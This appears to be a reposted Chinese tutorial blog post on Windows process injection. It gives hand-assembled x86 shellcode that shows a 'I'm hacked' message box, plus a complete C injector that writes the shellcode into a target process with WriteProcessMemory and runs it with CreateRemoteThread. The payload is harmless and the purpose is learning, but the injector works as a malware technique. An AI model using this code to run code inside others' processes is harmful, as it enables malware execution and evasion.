进程注入学习
来源:互联网 发布:mac改变pdf文件大小 编辑:程序博客网 时间:2024/06/06 17:40
这次目标是使用进程注入,将一段shellcode注入到一个进程,然后执行。
主要的思路是1.编写shellcode,目的是弹出一个对话框 2.在目标进行分配一段空间,并且写入shellcode,然后使用CreateRemoteThread() API创建一个远程线程并且执行。
1.shellcode的编写
shellcode的作用是弹出一个MessageBox,需要的步骤有1.使用LoadLibraryA加载user32.dll 2.使用GetProcAddress获取MessageBoxA的入口地址。并且调用MessageBoxA。
然而不同系统的LoadLibraryA的地址和GetProcAddress的地址都不同,为此需要先获得kernel32.dll的基址,然后减去一个偏移量得到GetProcAddress和LoadLibraryA的地址。
要获得二进制的shellcode,我先用汇编写出了代码,然后通过Ollydbg反汇编将二进制代码获得,然后写入shellcode。
获取kernel32.dll基址的方式参考了看雪论坛的大大写的一篇文章http://bbs.pediy.com/showthread.php?t=99007 ,
其中汇编代码如下
assume fs:nothing mov eax,fs:[30h] test eax,eax js os_9xos_nt: mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov eax,[eax+8] jmp k_finishedos_9x: mov eax,[eax+34h] mov eax,[eax+7ch] mov eax,[eax+3ch]k_finished:nothing最终的kernel32.dll的基址存在了eax寄存器。
通过eax减去偏移量就获得了 LoadLibraryA和GetprocAddress的地址, 偏移量的获得方式可以在k_finished后面加上mov dword ptr[addr], eax
假设eax是提前定义的一个unsigned int变量, 然后用addr - (unsigned int)LoadLibraryA获取出偏移量,同样的方式可以得到GetProcAddress的偏移量。
LoadlibraryA的参数字符串user32.dll 以及MessageBoxA字符串和弹出对话框的标题和内容的字符串,我们在栈上分配一个临时的空间,然后将内容存到栈上面。
部分汇编代码如下,先分配40个空间,然后将user32.dll的每个字符都mov到这个空间里面,最后加上/0
sub esp, 40mov [ebp - 2B], 'u'mov [ebp - 2A], 's'mov [ebp - 29], 'e'mov [ebp - 28], 'r'mov [ebp - 27], '3'mov [ebp - 26], '2'mov [ebp - 25], '.'mov [ebp - 24], 'd'mov [ebp - 23], 'l'mov [ebp - 22], 'l'mov [ebp - 21], 0x0使用的时候可以获取字符串的地址lea eax, [ebp - 2B].
完成了这些准备工作,就可以比较容易的写出汇编代码了,下面将完成shellcode和注释的汇编代码贴出来。
char code[] = {0x55,//push ebp0x8B,0xEC,// mov ebp, esp0x83,0xEC,0x40,//sub esp, 400xC6,0x45,0xD5,0x75,//mov [ebp - 2B], 'u'0xC6,0x45,0xD6,0x73,//s0xC6,0x45,0xD7,0x65,//e0xC6,0x45,0xD8,0x72,//r0xC6,0x45,0xD9,0x33,//30xC6,0x45,0xDA,0x32,//20xC6,0x45,0xDB,0x2E,//.0xC6,0x45,0xDC,0x64,//d0xC6,0x45,0xDD,0x6C,//l0xC6,0x45,0xDE,0x6C,//l0xC6,0x45,0xDF,0x00,//00xC6,0x45,0xE0,0x4D,//M0xC6,0x45,0xE1,0x65,//e0xC6,0x45,0xE2,0x73,//s0xC6,0x45,0xE3,0x73,//s0xC6,0x45,0xE4,0x61,//a0xC6,0x45,0xE5,0x67,//g0xC6,0x45,0xE6,0x65,//e0xC6,0x45,0xE7,0x42,//B0xC6,0x45,0xE8,0x6F,//o0xC6,0x45,0xE9,0x78,//x0xC6,0x45,0xEA,0x41,//A0xC6,0x45,0xEB,0x00,//00xC6,0x45,0xEC,0x49,//I0xC6,0x45,0xED,0x27,//'0xC6,0x45,0xEE,0x6D,//m0xC6,0x45,0xEF,0x20,// ' '0xC6,0x45,0xF0,0x68,//h0xC6,0x45,0xF1,0x61,//a0xC6,0x45,0xF2,0x63,//c0xC6,0x45,0xF3,0x6B,//k0xC6,0x45,0xF4,0x65,//e0xC6,0x45,0xF5,0x64,//d0xC6,0x45,0xF6,0x00,//00x64,//fs:0xA1,0x30,0x00,0x00,0x00,//mov eax, dword ptr fs:[30]0x85,0xC0,//test eax, eax0x78,0x0C,//js os_9x//os_net:0x8B,0x40,0x0C, //mov eax,[eax+0ch] 0x8B,0x70,0x1C,//mov esi,[eax+1ch]0xAD,//lodsd0x8B,0x40,0x08,//mov eax,[eax+8]0xEB,0x09,// jmp k_finished//os_9x:0x8B,0x40,0x34,//mov eax,[eax+34h] 0x8B,0x40,0x7C,//mov eax,[eax+7ch]0x8B,0x40,0x3C,//mov eax,[eax+3ch]//k_finshed:0x89,0x45,0xFC, //mov [ebp - 4], eax0x8D,0x45,0xD5,// lea eax, [ebp-0x2B]0x50,//push eax0x8B,0x45,0xFC,// mov eax, [ebp - 4] 0x2D,0x97,0x59,0x2A,0x00,//sub eax, 0x2a59970xFF,0xD0,//call eax0x8D,0x4D,0xE0,// lea ecx, [ebp - 0x20]0x51,// push ecx0x50, //push eax0x8B,0x45,0xFC, //mov eax, [ebp - 4]0x2D,0xF4,0x67,0x2A,0x00,//sub eax, 0x2a67f40xFF,0xD0,//call eax0x8D,0x4D,0xEC,// lea ecx, [ebp - 0x14]0x6A,0x00,//push 00x51,//push ecx0x51,//push ecx0x6A,0x00,//push 00xFF,0xD0,// call eax0x8B,0xE5, //mov esp, ebp0x5D,// pop ebp0xC3,//ret};
2.注入程序的编写
注入的步骤分为
获取进程的PID,然后通过OpenProcess创建进程的句柄。在进程中分配空间使用VirtualAllocEx,然后返回值是分配内存的地址,通过这个地址使用WriteProcessMemory将shellcode写入到内存中。然后通过CreateRemoteThread创建一个远程线程,然后使用WaitForSingleObject等待远程线程结束。
最后使用VirtualFreeEx,CloseHandle进行清理。
最终代码为:
/**使用vc2012 express编译*/#include <windows.h>char code[] = {0x55,//push ebp0x8B,0xEC,// mov ebp, esp0x83,0xEC,0x40,//sub esp, 400xC6,0x45,0xD5,0x75,//mov [ebp - 2B], 'u'0xC6,0x45,0xD6,0x73,//s0xC6,0x45,0xD7,0x65,//e0xC6,0x45,0xD8,0x72,//r0xC6,0x45,0xD9,0x33,//30xC6,0x45,0xDA,0x32,//20xC6,0x45,0xDB,0x2E,//.0xC6,0x45,0xDC,0x64,//d0xC6,0x45,0xDD,0x6C,//l0xC6,0x45,0xDE,0x6C,//l0xC6,0x45,0xDF,0x00,//00xC6,0x45,0xE0,0x4D,//M0xC6,0x45,0xE1,0x65,//e0xC6,0x45,0xE2,0x73,//s0xC6,0x45,0xE3,0x73,//s0xC6,0x45,0xE4,0x61,//a0xC6,0x45,0xE5,0x67,//g0xC6,0x45,0xE6,0x65,//e0xC6,0x45,0xE7,0x42,//B0xC6,0x45,0xE8,0x6F,//o0xC6,0x45,0xE9,0x78,//x0xC6,0x45,0xEA,0x41,//A0xC6,0x45,0xEB,0x00,//00xC6,0x45,0xEC,0x49,//I0xC6,0x45,0xED,0x27,//'0xC6,0x45,0xEE,0x6D,//m0xC6,0x45,0xEF,0x20,// ' '0xC6,0x45,0xF0,0x68,//h0xC6,0x45,0xF1,0x61,//a0xC6,0x45,0xF2,0x63,//c0xC6,0x45,0xF3,0x6B,//k0xC6,0x45,0xF4,0x65,//e0xC6,0x45,0xF5,0x64,//d0xC6,0x45,0xF6,0x00,//00x64,//fs:0xA1,0x30,0x00,0x00,0x00,//mov eax, dword ptr fs:[30]0x85,0xC0,//test eax, eax0x78,0x0C,//js os_9x//os_net:0x8B,0x40,0x0C, //mov eax,[eax+0ch] 0x8B,0x70,0x1C,//mov esi,[eax+1ch]0xAD,//lodsd0x8B,0x40,0x08,//mov eax,[eax+8]0xEB,0x09,// jmp k_finished//os_9x:0x8B,0x40,0x34,//mov eax,[eax+34h] 0x8B,0x40,0x7C,//mov eax,[eax+7ch]0x8B,0x40,0x3C,//mov eax,[eax+3ch]//k_finshed:0x89,0x45,0xFC, //mov [ebp - 4], eax0x8D,0x45,0xD5,// lea eax, [ebp-0x2B]0x50,//push eax0x8B,0x45,0xFC,// mov eax, [ebp - 4] 0x2D,0x97,0x59,0x2A,0x00,//sub eax, 0x2a59970xFF,0xD0,//call eax0x8D,0x4D,0xE0,// lea ecx, [ebp - 0x20]0x51,// push ecx0x50, //push eax0x8B,0x45,0xFC, //mov eax, [ebp - 4]0x2D,0xF4,0x67,0x2A,0x00,//sub eax, 0x2a67f40xFF,0xD0,//call eax0x8D,0x4D,0xEC,// lea ecx, [ebp - 0x14]0x6A,0x00,//push 00x51,//push ecx0x51,//push ecx0x6A,0x00,//push 00xFF,0xD0,// call eax0x8B,0xE5, //mov esp, ebp0x5D,// pop ebp0xC3,//ret};int main(int argc, char *argv[]){ int pid = 0; int i = 0;HANDLE hproc = 0;int ret = 0;PBYTE addr;HANDLE thread;DWORD dwThreadId = 0;unsigned int address = 0;int exitCode = 0;if (argc < 2) {printf("Usage: %s pid\n", argv[0]);return -1;}pid = atoi(argv[1]);if (pid <= 0) {printf("[E]: pid must be positive (pid>0)!\n");return -2;}hproc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); addr = (PBYTE)VirtualAllocEx(hproc, 0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);//分配内存,然后起始地址保存在addrret = WriteProcessMemory(hproc, addr, code, sizeof(code), NULL); //将代码写入到分配好的内存中。if (ret){printf("WriteProcessMemory success! addr = %08x\n", addr);thread = CreateRemoteThread(hproc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, addr, 0, &dwThreadId);//将写入好shellcode代码的内存,建立远程线程if (thread == 0){printf("CreateRemoteThread failed %d\n" ,GetLastError());//判断出错信息}else{WaitForSingleObject(thread, INFINITE);}}else{ printf("WriteProcessMemory failed!" );}if(!VirtualFreeEx(hproc, addr,0 , MEM_RELEASE)) { printf("[E]: VirtualMemory (%08x) cannot be freed !\n", addr);//return 2; }else{ printf("[E]: VirtualMemory (%08x) is freed !\n", addr);}if (!CloseHandle(hproc)) {printf("[E]: Process (%d) cannot be closed !\n", pid);return 2;}printf("[I]: Process (%d) is closed. \n", pid);return 0;}
通过任务管理器查看到目标进程的PID之后,然后在命令行使用命令行参数inj.exe 8888进行注入(这里假设次程序的名字为inj.exe 进程的pid为8888)。
如果目标进程没有防御措施的话,就会创建一个线程然后弹出一个对话框。
- 进程注入学习
- 注入Winlogon进程示例代码 - [编程学习]
- 进程注入方法
- 进程注入 1
- 进程注入 1
- 进程注入代码
- dll注入到进程
- 游戏进程注入代码
- DLL 注入进程
- 进程注入技术
- 进程注入方法
- 远程进程注入
- DLL注入进程技术
- 进程注入检测方法
- DLL注入、进程保护
- dll进程注入
- 进程代码注入
- 致注入进程崩溃
- 重载和覆盖
- 不区分大小写的strCaseStr---改造strstr
- 用Rational Rose逆向工程(java)生成类图(教程和错误解决)
- 判断有向图是否有环
- CodeForces 493B Vasya and Wrestling 【模拟】
- 进程注入学习
- JVM 数据区
- but has failed to stop it. This is very likely to create a memory leak(c3p0在Spring管理中,连接未关闭导致的内存溢出)
- [scala之四]类
- HDU_1045 Fire Net
- 合乐平台新注册用户送御彩轩|神圣计划软件|合乐888总代
- 【KMP】KMP算法模板
- 正确计算linux系统内存使用率 (我今天刚好碰到这个问题, 故转载一下)
- UVA - 10014 - Simple calculations (经典的数学推导题!!)